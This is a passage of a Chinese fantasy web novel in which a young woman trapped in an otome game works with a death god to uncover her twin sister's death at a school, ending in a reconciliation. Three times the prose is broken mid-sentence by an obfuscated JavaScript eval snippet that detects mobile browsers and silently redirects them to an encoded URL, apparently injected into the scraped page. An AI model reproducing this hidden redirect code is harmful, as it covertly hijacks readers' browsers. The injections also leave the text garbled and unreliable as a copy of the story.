但这不就和作/弊一样吗？只要她用合理手段让数值大幅度溢出并且满足基础倍数，让抽卡系统崩溃，就能快速通关了。 看来这个游戏并没有看上去的那么难嘛，哼哼。 但是，好像有一点点小问题……？柳莳萌本以为系统崩溃会让游戏直接消失，但她发现这对整个游戏世界没有任何影响。 那这崩溃到底是怎么回事？崩溃了个寂/寞？ 【是不会影响游戏安全性的物理崩溃哦，问就是正在暴打……哦不，正在采用高精尖深度睡眠技术，将系统强制调离。】 【由于属性点溢出导致抽卡系统崩溃，返校日活动内，所有日常对话事件默认为“成功”，所有日常探索活动将直接获得全部道具。】 【已将“保健室”可获取道具全部转入死神代理的包裹中，注意查看。】 *** “这么好，果断真的‘白给’啊。” “要是其他的也能多来点就好了。”柳莳萌开心坏了，她赶忙将「新道具」拿了出来。 除了尖刺棒球棍痕迹以外，包裹中还多了「一部手机」。 手机尺寸比较小，可以初步推测是一款女式用机，表面是银灰色，被原主人保护的很好，没有多少磨损的痕迹。锁屏密码已经自动输入了，顺手解锁，柳莳萌翻遍了主屏幕都不知道手机的原主人是谁。 “联系人、通话记录、短信记录、聊天记录，什么都没有，怎么会这样？”她捏了捏隐隐作痛的额角。 好在也不是全无发现。 柳莳萌在垃圾箱里找到了一封未发送的短信。 「请不要再跟踪我了，你不知道这种行为很过分吗？还是说，你也是被沈羚逼的？如果是的话，请告诉我，我会帮助你的。」 原主人在被跟踪，而且与沈羚有密切的关系，无论怎么想，结果都只有一个…… “又是一个被霸凌的可怜学生。”柳莳萌的脑海中缓缓浮现出一个骨瘦如柴的学生，在阴暗的角落处愤怒地用键盘一字一句按下血书。 “短信上有电话号码？” 或许她可以试着拨打这个电话，进而获取手机原主人的身份信息。如此想着，柳莳萌的手已经先一步行动了起来。 “叮铃铃”—— 手机铃声响了。 距离听着并不遥远，当柳莳萌趴在墙壁上寻找声源的时候，铃声仿佛近到仅有一墙之隔。但这怎么可能呢？手机和人不一样，前者是不可能从“那个高度”发出声音的。 “叮铃铃”—— 除非它被放在了高处，又或者是…… 正被谁拿在手中。 21. 末世校园加载中15 墙壁被一股不可抗拒的力量猛然冲开，砖石和混凝土的碎片四散飞溅，砸到柳莳萌的身体上，让她小臂生疼。 “唔……” 仿佛眼前经历了一场可怕的爆/炸。 厚重的墙体并非脆弱，而是那股冲撞的力量太过惊人，她整个人先是被吞没其中，而后被朦胧的灰雾彻底笼罩。 ……是谁？ 地面上散落着大大小小的砖块和墙皮，保健室内的家具和设备也被冲击得七零八落。 当灰尘在空中缓慢扩散，稀薄到变成一面纱，柳莳萌发现自己被埋在几张病床中。她扶住膝盖起身，听见寂静中传来碎屑滑落的细微声响。 “是我。” 达里恩平淡道。 好吧，她早该想到的，这里除了自己与死神之外就没有第二个人了，柳莳萌悄悄放下心来。 他说过会保护她，他是绝对不会伤害她的，但是…… “你突然冲进来是想要干什么？” 柳莳萌抬起头起身，看见达里恩漆黑的头发被阳光镀上一道金色的光晕，朦胧不清的表情肃穆且庄重。 他挺直而立，肩线平直，轮廓修/长，阳光从他背后倾泻而下，脸庞虽被阴影所覆盖，但从脸上冷静的表情来看，他根本不觉得自己这么做有什么问题。 “我？” “嗯，你可能不太清楚……”达里恩启唇，“因为你之前叫我不要说话，我没办法告诉你：这栋屋子里除了你外还有其他的人在。” 他阴沉道：“你要是不小心死了怎么办？” 柳莳萌指着他，因太过震惊而哑口无言：“所以你就冲进来了……啊？！” 妈妈啊，我好像遇到“疯狗”了怎么办！ 说不定在遇到关卡BOSS前，她的小命会先被死神给带走也说不定。 算了，不想这些，柳莳萌甩了甩头，决定将重心放在面前的少女身上。视线偏转向下，达里恩默默提起那人的衣服后领，让她能够看清楚少女的脸庞。 但他并不知道，柳莳萌看到的只是一则“提示”。 【遇见游戏角色，触发“敏感”负面效果，死神代理无法通过“身份信息面板”得知该名角色的相关信息。】 “不想让我顺利出去，可惜……这是不可能实现的。”柳莳萌轻笑一声。 达里恩的举动正好方便她扯掉少女挂在左胸前的名牌。 “陈芙琳”，这应该就是她的名字。柳莳萌转动大脑，回扫一遍自己的记忆，她确定自己不认识她。既然如此，那问问本人不就什么都知道了。 “问吧。” 像是为了打消她的顾虑，达里恩点了点头，“她和似人的鬼不同，她是一个真正的人。” *** “醒醒。” 柳莳萌拍醒陈芙琳，想问她知不知道手机的事情，但后者醒来以后，只是非常惊恐地盯着她的脸看。陈芙琳的身体哆哆嗦嗦，抖得像筛糠，“你不可能……假的……怎么会是你……” “哦？我怎么了吗？”柳莳萌挑起陈芙琳的下巴，好让她看得更清楚一些，“听你的口气，我们俩好像认识？” “岂止是认识。” 陈芙琳紧咬下唇，她绝对不可能忘记眼前的这张脸。无声地，她的眼瞳深深将她的身影烙印进去。 “你不是找过我吗？你说会帮助我摆脱沈羚。你也猜到了，我跟踪你是因为受到了他的胁迫。我的确是同意了，但是！” 她的右眼淌下滚烫的泪水，单单是触碰到它，就让柳莳萌微眯起眼睛。 她本能地察觉到，这是一种“恐惧”的味道。 “我当时不知道你想杀死他！” “先等等……” 柳莳萌停下来梳理现有的线索，她现在知道了：手机里的短信是原主人“早就打好的腹稿”，那么，短信在垃圾箱里并未发出就说得通了。 而这之后，她当面告知了陈芙琳，陈芙琳答应了，但因为内心害怕杀/人，没有同意她的提议。 脑子突然抽痛起来。 不对，这其中有很明显说不通的地方。 “我需要问你几个问题。”柳莳萌竖起一根手指，“首先，我根本不认识你，至于你说的‘我找过你’，我的记忆中根本没有这一回事。要么是我忘记了这件事，要么就是你在欺骗我。” “其次，你为什么会害怕我杀死他？” “你的解释根本说不通。沈羚胁迫过你，你也是这场霸凌的受害者，正常来说，你应该恨不得把他下油锅煎了再炸，让他粉身碎骨到再也不敢作恶才对。” 柳莳萌的手指拂过陈芙琳的下巴，仅仅是这一个动作，就让她僵在原地动弹不得。 “你对我说谎了。” 她凝视自己的手指：“当时你并不是害怕我杀死沈羚对吧，同样地，也并不是害怕沈羚会死。” “你害怕我。” “……哈！”陈芙琳抬起头。 她毫无血色的下唇被她自己的牙齿撕咬得血肉模糊，“我当然害怕你！我有理由害怕你！你知道你真的不正常吗？” “当我拒绝你的时候，你的眼神冷的像是要杀死我。你说‘我背叛了你’，背叛你的人就相当于背叛了这个世界，我不会死，但会被世界所抛弃。” 陈芙琳面如死灰，她的眼神中看不到任何生机：“原来我不明白你说的话，现在我都明白了，都明白了……。” “唰”—— 一双骨节分明的大手覆上陈芙琳的眼睛，达里恩略微低垂的眉眼中隐藏了难得一见的怜悯。“这个人类的精神已经濒临崩溃了，如果你继续追问下去，她很可能无法回答你的问题。” “有没有什么办法……”柳莳萌还有很多问题想要问她，“很多事情我还没有问清楚。” “我可以用「记忆探知」帮助你。” “不，不用。” 柳莳萌拒绝了达里恩的帮助。 这是游戏重要角色，在非必要的情况下，她绝不能够让死神察觉到游戏本体的存在。如果达里恩知晓一切，他肯定再也不会像现在这样帮助她了。 失去达里恩帮助，她就不能及时完成游戏任务，恐怕也就再也出不去了。 【死神“达里恩”隐藏数值+1】 嗯？ 他该不会是在怀疑我吧？？？ 柳莳萌大脑飞速运转。 “呃，我的意思是，你之前已经帮助过我很多次了，只是问几个问题而已，我怎么好意思再次借助你的力量呢！那多不好意思，我也要面子的！” 达里恩只是一昧看着，不言不语。 【死神“达里恩”隐藏数值-1】 闷葫芦内心戏够多的，不说话果然是怀疑我了！还好我解释的够快啊！柳莳萌默默为自己擦了一把冷汗。 “好吧，我知道了。” 达里恩将手平缓抽/出，放在陈芙琳面前，接着，屈指向上，像变魔术一样在她的眼前敲打了一个响指。 “既然你这么想依靠自己的力量来解决，我当然会尊重你的想法。不过她的精神状态非常糟糕，你恐怕不能像之前那样和她正常对话了。最好别问太难、太复杂的问题，还有——” “问题只能问一个。” “……” 有时候，柳莳萌真想问问他到底是站哪一头的，不过嘛……她向后一撩纤长秀发，眼神微凉，冷冰冰地瞥他，“没有必要。是谁告诉你我要问很多、很难、很复杂的问题了。” “问一个就足够了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108914|164028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只要搞清楚那个最为关键的点，一切都将迎刃而解。 她缓缓俯身，托捧起陈芙琳干瘪苍白的脸庞，仿佛被抽空了灵魂。看着那双越发混沌黯淡的眼珠，柳莳萌将冰冷的嘴唇打开，如同冬夜的雾气，寒意渗透进少女的肌/肤，皮下神经，直至她的脑海。 “回答我。” “我的名字是什么？” -------- 柳莳萝。 一个沉寂许久的名字终于浮出水面。 “啊，原来手机的原主人是我的妹妹。” 柳莳萌痛恨自己的愚蠢，她怎么会遗忘了这么明显的事情。至今所有的霸凌事件都和自己的妹妹脱不了干系，就连这具身体，这个返校生身份的一切都是因她而生的。 因为她们是双胞胎，外貌几乎一模一样，外人无法分辨出来，陈芙琳才会将柳莳萌错认成了柳莳萝，才会对她感到恐惧。 “柳莳萝本质就是个活泼可爱的小女孩，她不可能会做出这种可怕的事情，应该有什么东西改变了她。” 手机的蓝光再次照亮了柳莳萌的脸，此刻她就像一件易碎的艺术品，周身的空气仿佛凝固了，“达里恩，你猜猜我这次又发现了什么？” “……” “你的掌心很凉。” 达里恩又捏了捏她的指尖。 他告诉她“人神之间通常没有猜测，神可以借助神力无所不知，神也可以放下一切做个凡人，死神作为夺取人类生命的存在，更是无欲无求”。 “我不太在乎你的秘密。” 达里恩托腮挠了挠头，黑色碎发不乖顺地撇到一边，“如果你愿意说的话就直接告诉我，不愿意的话可以不用说。” 柳莳萌顿了一下，收回手。 他说的没错…… 从某种意义上说，柳莳萌是比死神本人更加了解死神/的存在。在单推芳汀的时候，曾有那么一瞬，她冒出过一个古怪的想法：死神是因为深爱着玩家才会变成这种模样的，如果没有了这些，他们应该连看都不会多看一眼吧。 达里恩也是如此。 如果他只将我看做是一个“需要保护的人类外来者”，又怎么可能会对我有额外的关心呢？柳莳萌将手攥紧成拳头，独自承受着莫名其妙的失落。 但他的眼神……分明就是“我很好奇你快快告诉我吧”的意思啊？她一挑眉，还是决定不计前嫌地告诉他。 “我又把手机短信看了一遍。” “你看这个时间。”柳莳萌将手机放在达里恩面前，“最早的编辑时间是在我来上学后不久。如果当时和陈芙琳在一起的人是我妹妹，那她一定是出了什么问题。” “因为柳莳萝在这个时间点已经死了。” “……有意思。” 达里恩扣住柳莳萌的手腕，将手机转移到了自己手中，“如果你说的是真的，那她的亡魂很长一段时间都停留在学校里继续复仇。” “当她看到曾经害死自己的人，之后又用同样的方式去伤害他人，甚至是亲人，这样的条件足够形成妄念了。” “应该远不止于此。”柳莳萌闹中警铃大作，“你别忘了，陈芙琳能够看到柳莳萝，就是因为能看到，她才会去跟踪她。这意味着：在那时候柳莳萝心中的妄念就已经形成了。” “再加上你刚刚说的那种情况……” 她与达里恩四目相对，确认了他心中所想与她一致。 “妄念强大到一定的地步，不仅能够波及人类，还能进一步影响到人类所处的世界。你的妹妹应该就是教学楼中那个强大的‘源动力’，你可以想想在那栋楼里曾经发生了什么事，能够让她的力量不断变强。” 柳莳萌的脑中迅速闪过一段文字。 “我想起来了！” 22. 末世校园加载中16.1（小修） 那是一段在隐藏身份词条开启后出现的【角色记忆】。 起初，柳莳萌觉得这条信息很重要，但此前一直没有找到合适的机会，没想到，现在在这里派上了用场。 “那件事是我！”她瞪大双眼。 “我在知道一直霸凌我妹妹的人是谁后，去找他算账，最后不小心和他一起从楼梯上滚下去了！” “那个地方在哪？”达里恩问。 “是顶楼的最后一级台阶！” 柳莳萌灵光一现，她幡然醒悟：“难怪……难怪那栋教学楼会在第八层楼发生扭曲！并不是因为‘顶楼是跳楼事件发生最频繁的地方’，而是因为沈羚在那个地方‘伤害’了我，恰好被我妹妹看见了！” 【叮——】 【恭喜死神代理，你在不借助任何提示的情况下完成了任务：找出返校日的真相，隐藏任务：1/1，现在为你发放任务奖励：时间流逝×1】 【特别说明：时间流逝是能够改变时间的一次性道具，使用后会自动快进时间。返校日活动剧情变更至第五节末，死神代理成功存活时间变更至71个小时。 ※是否使用？ 「是」「否」】 什么？这个破游戏里居然还有这么良心的道具？！ 柳莳萌的眼眶略微湿润，此情此景足以令她感动到热泪盈眶：用，必须要用，多犹豫一秒都是对这个道具的不尊重好吧！ 她毫不犹豫地按下「是」。 刹那间，世界变成了黑白色，仿佛世间所有景物按下了暂停键，而处在物与物缝隙之间的时间，如同细沙般从指尖流逝。 空气中弥漫着一种奇异的静谧，仿佛时间在这里被不断拉长，又极致压缩，快得让人无法捕捉，却又慢得令人窒息。 天空与大地被不可名状的力量相互交织，与构成过去、现在与未来的时间一起，形成了一种令人不安的平衡，唯有“未知”是真实的。 柳莳萌第一次产生了自己不属于这个世界的实感。 【返校日第五节，“黎明”，开启。】 -------- 在最后的活动剧情“黎明”中，与里弗与玩家合力一举将全校师生救了下来，但在那之前，他们需要打倒一个共同的敌人：黑雾。 目前，玩家已知的信息只有【黑雾身披宽大的灰色斗篷，灰白色长发凌乱披散，且会不经意间从帽檐下露出】这一点。 身为《与死神同行》中出现的第一个降临反派，他的身份成谜，而在第一次活动中，更是暴露了黑雾曾经与玩家认识的事实。这其中必定藏有更深重、更阴暗的隐情…… 不过嘛，这些和我都没有什么关系。 柳莳萌如此想着，睁开双眼。 圣尼塔学院已经为剧情开辟好了相应的“道路”，在通往教学楼的必经之路——林荫路长廊上晕倒了一大片学生。这些晕倒的学生身上有一个共同的特点：他们的脖颈有被利刃割过的红痕。 这个伤痕她再熟悉不过了。 “与里弗的象征物是雄狮，武器便是和野兽獠牙一样锋利的‘黄金镰刀’，这和剧情能够对应上。” “战神啊！”柳莳萌眨了眨眼，“进度都已经杀到这个地方了，现在肯定没有什么怪潮了吧。” 她踏着尸横遍野的长廊继续向前，走上三级小台阶，面前就是教学楼的入口了。柳莳萌咽下一口唾沫，再次来到老地方，她的心里还是有些忐忑。 熟悉的教室和楼梯口空无一人。 天花板上的灯泡烧透了铜芯，一亮一灭地闪烁着。只眨眼功夫，鬼魅瞬间出现在柳莳萌脚下，但仔细看就能发现，那只不过是她自己的影子。 “呼——自己吓自己。” 她叹了一口气，继续向前。 一楼到三楼被废墟一样的桌椅堆挡住了，柳莳萌没办法走过去。如果是所谓的“空气墙”，引导她往任务点走，那还算合理，可刚上到四楼，在相同的位置那些桌椅堆却消失了，换成了猩红的血字。 「很高兴见到你。」 「自从那天之后，我们真的很久都没有再见面了。」 「你应该把我给忘了吧？但是，我一直都没有忘记过你哦，我们一起度过的那些美好的日子，实在是令人难以忘记。」 「就这样，来到我的面前，与我，一直在看着你的我，再次相聚吧，而那也是我期盼已久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108915|164028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事情……」 “咳！”柳莳萌才看了一半，只觉得胃里翻江倒海，她要扶住墙角才能勉强支撑住自己的身体。 是谁？是谁认识我？是谁一直记着我？是谁期盼与我相聚？是谁想要见到我？咒骂着“该死的”，不争气的双腿害怕到发软了，可是她没有第二个选择。 “无论怎么想，回到顶楼的最后一级阶梯是对的没错啊……”柳莳萌抱住自己的小腹喃喃自语。 “是的。” 达里恩的声音萦绕在耳畔，依旧低沉，但因周围过分安静的环境显得清亮，如同石子敲钟，仿佛他正栖在她的右肩说话。 柳莳萌下意识捂住了自己的耳朵。 “你正常一点，别这样和我说话！” 停止怦然心动吧！该死的少女心，她真的会产生一个乙女游戏攻略角色会爱上自己的错觉。这场合对吗？不对，这和场合有什么关系！她可是至死不渝的单推人啊，这和犯罪有什么区别！ “……” 达里恩明显愣住了。 他顿了很久都没有接话。 “你的意思是‘不想我用比较寻常的方式和你说话’？容我思考一下，或者你直接告诉我，你更习惯什么样的方式？” “……” ——少女心动了一下，凉凉的，原来是死了。 不愧是超气人人气垫底角色，她就不该期待达里恩对她产生什么特殊的情感。能够确信的事情是，哪怕只有一瞬，那也是不能够相信的“错觉”。 “但我并不喜欢。”他话锋一转，像是直接掐住了她的手臂。 “不喜欢你明显不喜欢我的样子。” ——不要误会，这是错觉。 柳莳萌甩了甩手，生硬地转移开话题：“我没有不喜欢你。只是想说……如果你要和我说话的话，就站到我的面前好好说，不要突然在我的耳边说话，我会被你吓死的！” 害羞是即便捂住耳朵，也会从羞红的耳后根里偷偷跑出来的东西，柳莳萌根本无从掩藏。但她很庆幸达里恩此刻并没有那种想法。 她心想，即便是走到了游戏的终点，那颗笨拙的榆木脑袋也是绝对不会理解她的。 23. 末世校园加载中16.2完 【呀吼，咱是面板手底下的无情小奴隶，直接称呼咱为“友情播报”就好。】 【随着游戏剧情的发展，想必死神代理你已经来到了最后的关卡，也是最最最重要的终末时刻！在那之前，请评价一下所属死神/的全局表现吧~[wink][wink]】 柳莳萌低头沉思。 “嗯……” 到底该从何说起比较好呢？ 达里恩，一位合格的死神，但带有伤疤的外貌在颜值方面显然不够格，pass！性格方面，并不善良也不足够邪恶的性格毫无特色，平庸应该算是勉强及格，pass！实力毋庸置疑但是强得存疑，pass！ 若说身上还有一个仅存的优点，那便是“出色的行动力”了。在这种危险的活动里，没什么比言出必行、安全感满满的男人更有魅力了。 本该是如此的…… 但是，此时的柳莳萌正为他的这一优点而深感苦恼，“既然他的行动力都如此出色了，为什么不、在、我说要去顶楼前提、醒、一、下我这里面有人啊！！！” 在踏入进第八层楼的瞬间，柳莳萌身下的影子突然出现了一副镣铐。镣铐将她的脚给锁住，让她动弹不得。 “这是……游戏剧情锁，看来这里是有一段游戏剧情发生，要将我留在这里走过场啊。” 关于这点，柳莳萌并不意外。 按照玩家所观看的剧情，死神将与BOSS黑雾在教学楼上空完成最终决战。作为目睹一切的命运之人，玩家只需静静地观看一切便好。 “但你特喵的……让我站着不动静静观看，不就是存心让我死吗？！”柳莳萌疯狂哀嚎。 阶梯尽头，昏暗的灯在略带腥气的潮湿空气中投下一片暗影，身着校服的柳莳萝从黑暗处走出，站在朦胧的光晕之下。 “姐姐，你让我等得有些久呢。”她挑动垂落肩头的黑色发尾，轻声笑道。 看着面前的妹妹，柳莳萌咽下一口唾沫：眼前的人已经不能够称之为人了。 柳莳萝的指尖像褪色的旧照片，触碰过的地方自动化为泡影，包括她自己那若隐若现的身体。残缺的发丝间隐约透出几缕干涸暗红，那苍白的皮肤上布满了细密的裂痕，像是被打碎的瓷器，勉强拼凑在了一起。 “你找我有什么事情吗？” 柳莳萌拍了拍衣领，没有太过惊讶。 “唔……姐姐，见到我这副样子，你不害怕吗？”柳莳萝那双没有焦点的眼睛一下子睁大了，这让她看起来更加阴森恐怖了。 “不。” 柳莳萌眨了一下眼睛：说实话，我害怕。 她僵硬的双腿已经表露出了她的心迹，但是就算害怕也已经没有任何作用了。 【遇见游戏主要角色“柳莳萝”，必定触发活动日常对话事件，受到抽卡系统崩溃影响，所有对话均可“成功”。 ※请死神代理知悉。】 都到了这种时候，系统还能出来倒油也是让她没有想到的。 不过，不知道是不是理智值过高的缘故，柳莳萌的大脑愈发清醒。归根结底，她是为了找寻妹妹的死因，帮妹妹复仇才踏进校园的，妹妹又怎么会伤害一位爱她的姐姐呢？ “我本来就是为了你才出现在这里的。” “够了姐姐！！！” 那张被勉强拼凑的脸庞因那一瞬间的愤怒迸裂开一角，黑色的血液顺着她破碎的脸颊边缘流淌而出。 “如果你真的这么关心我，为什么在一切无法挽回之前你什么都不知道！从来都不曾了解过我的你让我好痛苦，比被欺负的时候更加痛苦！十倍！百倍！千倍！！！” “我根本不想看见你。” 她拔下四根长发，反手一捏，长发瞬间变成了四根黑色长针。针尖锐利，散发出混浊不堪的气息。 “从那时起我就决定了，在这栋楼中，那些伤害过我的人全部必须死。” “不对！” “这不是你的内心的真实想法！” 【你已在对话中发现游戏主要角色“柳莳萝”的弱点，攻击力降低25%。目前结局为“一击即可毙命的小白”，若要达成“险象环生”结局，“柳莳萝”攻击力需降低至75%！】 面板你坑爹啊！你自己看看这还是乙女游戏吗你就弹出！柳莳萌咬紧牙关。 “如果你认为我伤害了你，我无法否认。” “但是，如果你真的想杀死我的话，那我恐怕早就应该死了。我每天在教学楼里上课，进进出出，你有无数个机会可以杀死我，可你没有。” “唔！”柳莳萝脚步一滞。 “可笑！那时候是因为太明显了，我不愿意让太多人看见才选择放过你的！” “不，不对。”柳莳萌摇了摇头，“平时教学楼里走动的同学是很多，这没有错，但是我知道有一种情况下，教学楼里几乎不会有同学。” “放学后。” “在我知道沈羚就是那个一直欺负你的人后，我决定用你的身份替你好好教训他。而我选择的日子就是放学后。” “那天，我给了沈羚一张纸条约他放学后来见我，而纸条上写的地点正是这里。这大概也是你真正出现在这里的原因吧。” 【你已在对话中发现游戏主要角色“柳莳萝”的弱点，“柳莳萝”攻击力再次降低25%，总共降低至50%。】 “胡说八道……”柳莳萝高抬起手。 “你懂我什么！你懂我什么！！你懂我什么——！！！” 掌心中那黑色的针漂浮在空中，不安地摇晃着，刹那间，尖头齐唰唰地一致朝向柳莳萌。 柳莳萌心中大感不妙，她已经看出了柳莳萝准备攻击自己，但因为剧情锁的缘故，她被锁在原地没有办法躲开。 完蛋了。 黑针的距离越来越近了，近到她都能看清针尖上的黑光了！ 柳莳萌抱住头，闭紧眼睛：“不行，不行！我还不能够死啊！” “达里恩你去哪里了？你这个大骗子！你不是说过会一直保护我的吗！” 就在四枚黑色针直直奔袭向柳莳萌的左前胸/口时，四团火焰齐齐划破天际，它们正中黑色针的针尖，迅速发红的针在灼烧中逐渐弯曲，最终在一声清脆的断裂声中，化为余烬，四散飞溅。 火焰变成流光，回到了柳莳萌的身旁，像小精灵一样在她的周围游来游去。 是他。 看到达里恩的地狱火以后，柳莳萌稍稍放心，“真是的，既然来了为什么不说一声……害我白害怕了，好丢脸啊。” “姐姐。” 柳莳萝礼貌地微笑道：“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108916|164028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该不会是又把我给忘了吧？” “没有没有没有！”柳莳萌哪里敢怠慢自己的妹妹，就算有达里恩保护，她也还是那个可怜弱小又无助的能够被一击毙命的游戏小白。 “其实在保健室里发现‘尖刺棒球棍痕迹’的时候我就知道了，你真正怨恨的人并不是沈羚。” “沈羚虽然爱欺负你，但顶多是联合其他人进行语言辱骂，撕坏课本和作业，找人跟踪这种小手段，并不会对你造成人身伤害。” “真正杀死你的人，是对你进行体罚的前保健室老师沈万懿，同时也是放任校园暴力事件频繁发生的罪魁祸首！” 在听到“沈万懿”这三个字后，柳莳萝的表情彻底变了，她的牙齿不断长长，最后竟然穿透了下颌骨，插/入进地面，“那个该被千刀万剐的畜生！” “不过你……你是怎么知道的！”她的瞳孔剧烈地震动，“你明明一心只扑在沈羚身上……自以为发现了真相……你明明……你明明对我的一切都毫不关心的啊！！！” “不是的。” “我是这个世界里最关心的人。” “我还知道这并不是单方面的关心，我的妹妹，你就像我关心你一样地关心着我。” “住口！住口！！！” 她再次抬起手。 柳莳萌抬起头：“你问我是怎么知道的？好，我告诉你，这个秘密是汤小婳告诉我的，但同时，也是你自己告诉我的。” 柳莳萝的动作一顿。 “在来这里之前，在西大礼堂我遇见了汤小婳。她当时的状态和你一样，不太正常，不过，她在那种状态下挽住我的手臂时，给我偷偷递了一张纸条。” “她警告我要‘小心沈万懿’。”柳莳萌将纸条慢慢摊开，摆在柳莳萝面前，“但是，这张纸条上的字却不是她写的。” “她是我的同桌，她的书写习惯，她的字体是什么样的我再清楚不过了。” “我想知道这张纸条上的字是谁写的，但是一直都没有找到那个人是谁。直到我来到这里，看到了你在走廊上用血写给我的留言……” “现在告诉我吧，我的妹妹，你真的是发自内心的讨厌我，憎恨我，伤害我吗？” 【你已在对话中发现游戏主要角色“柳莳萝”的弱点，“柳莳萝”攻击力再次降低25%，总共降低至75%。】 不知从何时开始，她脚上的镣铐消失了，没有了教室，也没有了楼梯，所有失去理智的老师与学生连同那不见天日的暗影与朦朦胧胧的光晕一起渐渐远去。 “姐姐……” 柳莳萌走上前，握住了柳莳萝沾满血迹的手。她笑了笑：“怎么搞的，这些湿乎乎的东西，原来不是血，而是你的眼泪啊。” 【达成普通在校学生Happyending结局：险象环生，评价等级SSS，即将脱离活动剧情发放奖励道具，倒计时10秒，请做好准备。】 “还有……你写的留言其实一点都不吓人。” 「我一直都没有忘记过你，我们一起度过的那些美好的日子，实在是令人难以忘记。来到我的面前，与我再次相聚吧，那是我期盼已久的事情。」 在最后的倒计时里，她们紧紧拥抱在一起。 “谢谢你姐姐，我爱你。” 【返校日，完】 24. 死神的一次心跳1 【欢迎你回到星月城市，现在为你发放活动奖励道具“一次心跳”×1。】 【说明：一次心跳是提升死神好感度的重要道具，使用后，死神代理即可进入所属死神/的专属心动剧情。 但需要注意的是，好感度不是必定提升，死神/的好感度可以为负值。如果死神代理行为不当，会降低死神/的好感度。 降低好感度并不影响后续主线剧情与活动剧情，无任何惩罚，但……后续可能会造成无法估计的“不良后果”，请知悉。】 现在星月都市的时间是傍晚。 窗外，夜幕低垂，繁星点点，璀璨的星河点缀在无边无际的夜空绸缎中，偶尔有流星划破天际，柳莳萌注视着它们，过了一段时间才缓过神来。 半空中发亮的主线面板微微颤动，不停提示她按下去。 “等等。” 柳莳萌直勾勾地看着面板，她交叉双臂盘腿坐在床头，不满地撇了撇嘴：“好感度降低的机制和诈/骗有什么区别？” 说时迟那时快，她拍床头而惊站起，“我玩乙女游戏这么多年了，可从来没见过好感度还能降低的游戏！……痛！” ——遂撞到头之。 【……死神代理你没事吧？^_^】 “警告面板你少虚情假意的了！还有，你真的不是在嘲讽我吗？以及，主线面板，在？别拉其他面板出来挡枪，快点回答我的问题！” 柳莳萌火力全开，她重重地砸了一下床，整个房间都因此而震动了一下。 “……你怎么了？” 嗯？面板怎么出声了？ 不对，这不是面板！柳莳萌赶忙往声音的源头望去。 只见达里恩斜倚在门框边整理衣服，他将长袖衬衫挽到手肘，衣领的扣子松了两颗，随意而又懒散，像是刚刚结束工作回家的样子。他那紫水晶般的瞳孔在黑夜中莹莹闪烁，有如神降，不似凡人。 “你本来就是神来着。”柳莳萌喃喃自语，又低下头看了看自己。 普通的黑色长发，还是来时那套普通的校服，穿久了变得松松垮垮的。她尴尬地动了动因没有鞋而裸/露在外面的圆脚趾，怎么样都和“好看”沾不上边。 “怎么还不睡？” 达里恩走近了。 他的目光一直落在她的身上，眼神专注，仿佛是他眼中唯一的焦点。他微微侧身靠得更近时，将冰凉凉的手背贴在了她的额头上，“难道是生病了？”达里恩问。 怎么回事？难道我已经进入到了专属心动剧情里吗？这股令人心动的压迫感和温柔感交织，让柳莳萌的心里刺刺的，痒痒的。 “没有。”柳莳萌回道，她推开他的手，“我就是单纯睡不着。” 刚刚结束的活动让她心有余悸，不过，更令她心悸的事情另有其他。为什么最后死神迟迟不肯出现呢？柳莳萌犹豫了一下，最后还是没有问出口。 “你刚刚……去哪里了？” “去超市，买点日常用品。”达里恩偏头向门口示意了一下，“之前这里只有我一个人，很多东西都没有，你住在这里也不太方便。” 他挠了挠头，“我根据自己对人类的了解随便买了点，你可以去看看还需不需要其他的东西。” 什么？！柳莳萌十分惊讶。 他们刚才明明在末世里一起度过了72个小时，去超市又是什么时候的事情？他又为什么会什么都不记得了？ “面板……快解释一下，这到底是怎么回事？这个游戏的剧情难道是不互通的吗？还有，为什么死神会忘记活动剧情里发生的事情？”柳莳萌趁达里恩不注意，小声问道。 【死神代理别着急，我这就和你进行详细说明。】 【首先，你的想法是正确的。剧情不互通可以简单理解为：活动是基于独立主线而衍生的各种平行世界。】 【主线与活动之间的空间架构和时间流速完全不同。主线世界的空间与时间是稳定的，它以最为原始的世界架构构建，时间流速与现实世界相同。 而活动世界的空间与时间是剧烈波动的。游戏之神为了维持这些世界稳定存在，允许它们产生自我意识，依据意识进行自我构建。 它们的时间流速会在自我构建中发生变化。举个最简单的变化：当流速过快时，就会跃至未来；当流速过慢时，就会跃至过去……如果在这之间发生二次波动，世界又会出现不一样的变化。】 【这是世界基本法则的内容。 世界中的族类会被世界基本法则管束，无法自由通行，除了“神族”。神族不受世界基本法则管束，死神就是神族之一，因此，死神可以在不同世界间自由通行。 